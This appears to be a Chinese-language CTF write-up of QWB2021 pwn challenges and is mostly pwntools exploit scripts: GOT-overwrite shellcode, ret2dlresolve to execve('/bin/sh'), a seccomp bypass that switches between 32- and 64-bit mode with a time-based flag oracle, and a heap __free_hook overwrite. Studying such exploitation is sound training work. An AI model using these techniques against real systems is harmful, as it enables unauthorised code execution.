title: QWB2021 date: 2021-06-14 14:49:43 tags: layout: default —- qwb2021 pwn
比赛的时候只会做简单题,现在复现一下题目,感觉跟不上时代了。
libc-2.23
& export LD_PRELOAD=./libseccomp.so.0
没有开 nx
和 full relro
所以可以直接写掉got + orw
shellcodefrom pwn import *
context.log_level='debug'
context.arch='amd64'
def cmd(c):
p.sendlineafter(">>\n",str(c))
def add(idx,c="A\n",size=8):
cmd(1)
p.sendlineafter(":\n",str(idx))
p.sendlineafter(":\n",str(size))
p.sendafter(":\n",c)
def free(idx):
cmd(4)
p.sendlineafter(":\n",str(idx))
#p=remote("39.105.131.68",12354)
p=process("./pwn")
sh='''
push rsp
pop rsi
push rdi
pop rax
push rdi
pop rdx
jmp .+0x1a
'''
add(-13,asm(sh).ljust(8,'\x90'))
sh='''
mov dl,0xff
syscall
call rsp
'''
add(0,asm(sh).ljust(8,'\x90'))
#gdb.attach(p,'')
cmd(5)
sh =shellcraft.open('./flag',0,0)
sh+=shellcraft.read('rax','rbp',0x100)
sh+=shellcraft.write(1,'rbp',0x100)
p.send(asm(sh))
p.interactive()
没给libc比赛的时候队友做的,我赛后本来想着如果read和write前面3字节一样的话可以改最后1字节,但是比赛环境好像没了;顺便学习了 nu1l
的做法用 ret2dlresolve
直接用了工具发现挺好用的可以学习下;再顺便复习了下ret2dlresolve
,万分懊悔自己做的时候没想起来。
复习连接:
本题比较简单可以只用最后一个洞利用 最大负数 除以 -1来触发。
from pwn import *
context.log_level='debug'
context.arch='i386'
p=process("./pwn")
#gdb.attach(p,'b *0x8049268')
#p=remote("39.105.138.97","1234")
p.send("\0".ljust(0x30,'\0'))
p.send("\0".ljust(0x20,'\0'))
p.sendline("-2147483648")
p.sendline("-1")
rop = ROP("./pwn")
elf = ELF("./pwn")
dlresolve = Ret2dlresolvePayload(elf,symbol="execve",args=["/bin/sh",0,0])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
payload ='\0'*0x4c+str(rop)
p.send(payload.ljust(0x100))
p.send(dlresolve.payload)
p.interactive()
可以直接写shellcode但是需要绕seccomp
规则如下:
➜ Desktop seccomp-tools dump ./shellcode
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
知道了没有限制arch,且开着openat的64调用号为5,而5恰好是open的32调用号就没什么好讲的。利用 retf
转64到32 open了文件之后转回去read,在用基于时间的盲打。
记得要保证pc和stack在转换的时候向下兼容,否则寻不到地址了。
#FROM BETEMAO
to32: ;;将CPU模式转换为32位
mov DWORD [rsp+4],0x23 ;;32位
retf
to64: ;;将CPU模式转换为64位
mov DWORD [esp+4],0x33 ;;64位
retf
用pwntools的asm好像我用的不对转不了,我用nasm编译取出来的。
64位nasm -f elf64 ./sh.asm
to32:’\xC7\x44\x24\x04\x23\x00\x00\x00\xCB’
to64:’\xC7\x44\x24\x04\x33\x00\x00\x00\xCB’
EXP 如下,
from pwn import *
#context.log_level='debug'
context.arch='amd64'
def tran(x):
res=0
j=0
for i in x:
res+=ord(i)*pow(0x100,j)
j+=1
return (res)
def exp(offset,value):
#p=process('./pwn')
p=remote("39.105.137.118",50050)
sh='''
push r11
pop rdx
pop rdi
pop rdi
push rbx
pop rax
xor rax,0x33333333
xor rax,0x3333337b
push rax
pop rsp
xor rax,0x33333333
xor rax,0x33333353
push rax
pop rsi
'''#rdx=0x246 rdi=0 rsi->flag
sh+='''
push rdi
pop rax
xor rax,0x33333333
xor rax,0x3333363c
push rax
xor rax,0x33333333
xor rax,0x3333363c
'''#set syscall
code=asm(sh)
for x in code:
if(ord(x)<=0x1f or ord(x) >= 0x7f):
exit(1)
"""
gdb.attach(p,
'''
b *0x00000000040026D
c
stepi 67
''')
"""
p.send(code.ljust(0x360,'['))
#raw_input()
sh='''
xor rax,rax
mov rax,0x9
mov rdi,0xdead0000
mov rsi,0x1000
mov rdx,0x7
mov r8,0xFFFFFFFF
mov r9,0
mov r10,0x22
syscall
mov rsp,0xdead0900
mov rsi,0xdead0100
mov rdi,0
mov rax,0
mov rdx,0x100
syscall
mov rax,0xdead0100
call rax
'''.format(tran("./flag"))
p.send(("\x90"*0x20+asm(sh)).ljust(0x246,'\x90'))
code="\x83\xc0\x20P\xc7\x44\x24\x04\x23\x00\x00\x00\xcb".ljust(0x20,'\x90')
code+="\xb8\x05\x00\x00\x001\xd21\xc9\xbb\x80\x01\xad\xde\xcd\x80"+"h\x88\x01\xad\xde"+"\xc7\x44\x24\x04\x33\x00\x00\x00\xcb"
# A+B+C A=open B=push 0xdead0188 C==ret2x64
#offset=0
value=ord(value)
whosback='''
mov rdi,0x3
mov rsi,0xdead0300
mov rdx,0x300
mov rax,0x0
syscall
add rsi,{}
mov al,byte ptr[rsi]
cmp al,{}
LOOP:
je LOOP
hlt
'''.format(offset,value)
try:
p.sendline(code.ljust(0x80,'\x90')+'./flag\0\0'+asm(whosback))
p.readline()
p.interactive()
except Exception:
p.close()
payload="{}"+"abcdefghijklmnopqrstuvwxyz"+"abcdefghijklmnopqrstuvwxyz".upper()+"0123456789"
payload='abcdef0123456789'+"{}"
flag='flag{cdc31bf52a72521c93b690ad1978856d}'
for x in (payload):
print(x)
exp(len(flag),x)
from pwn import *
context.arch='amd64'
def cmd(c):
p.sendlineafter(">> ",str(c))
def add(size,c='A\n'):
cmd(1)
p.sendlineafter(": ",str(size-1))
p.sendafter(": ",c)
def free(c):
cmd(3)
p.sendlineafter(": ",str(c))
def show(c):
cmd(2)
p.sendlineafter(": ",str(c))
p=process("./pwn")
#context.log_level='debug'
add(0xd60)#0
add(0x6f8+0x20)#1
add(0x208)#2
add(0x488)#3
add(0x28)#4
free(1)
add(0xAAA)#1
add(0x18,"A\n")#5
add(0xAAA)#6
add(0x28,p64(1+0xd)+p64(0x901)+b'\x18'+b'\n')#7
for x in range(8,8+8):
add(0x28)
for x in range(8,8+8):
free(x)
free(7)
for x in range(7,7+7):
add(0x28)
add(0x28,'\x30\n')#14
free(2)
add(0x208,'\0'*0x207)#2
free(2)
add(0x208,'\0'*0x1ff+'\x09'+'\n')#2
# context.terminal=['tmux','split']
# gdb.attach(p,'''
# set *0x55555555a040=0x000055555555a018
# set *0x000055555555a030=0x000055555555a030
# q
# ''')
context.terminal=['tmux','split','-h']
free(3)
add(0x548)#3
context.log_level='debug'
add(0x28,'A'*0x16+'\n')#15
add(0x160)#16
#raw_input()
show(15)
p.readuntil(": ")
base=u64(p.readline()[:-1]+b'\0\0')-(0x7f83ef52dbe0-0x7f83ef342000)
log.warning(hex(base))
#gdb.attach(p)
add(0x28)#17
add(0x28)#18
add(0x28)#19
add(0x28)#20
for x in range(7,7+6):
free(x)
free(18)
free(20)
free(15)
show(17)
p.readuntil(": ")
heap=u64(p.readline()[:-1]+b'\0\0')-0x1230
log.warning(hex(heap))
free(19)
free(17)
for x in range(7,7+6):
add(0x28)
add(0x28)#15
add(0x28,p64(base+0x1eeb28)+b'\n')#17 - > free hook
add(0x28,'/bin/sh\0\n')#18
add(0x28)#19
add(0x28,p64(base+0x55410)+b'\n')#20
#gdb.attach(p,'b free')
free(18)
p.interactive()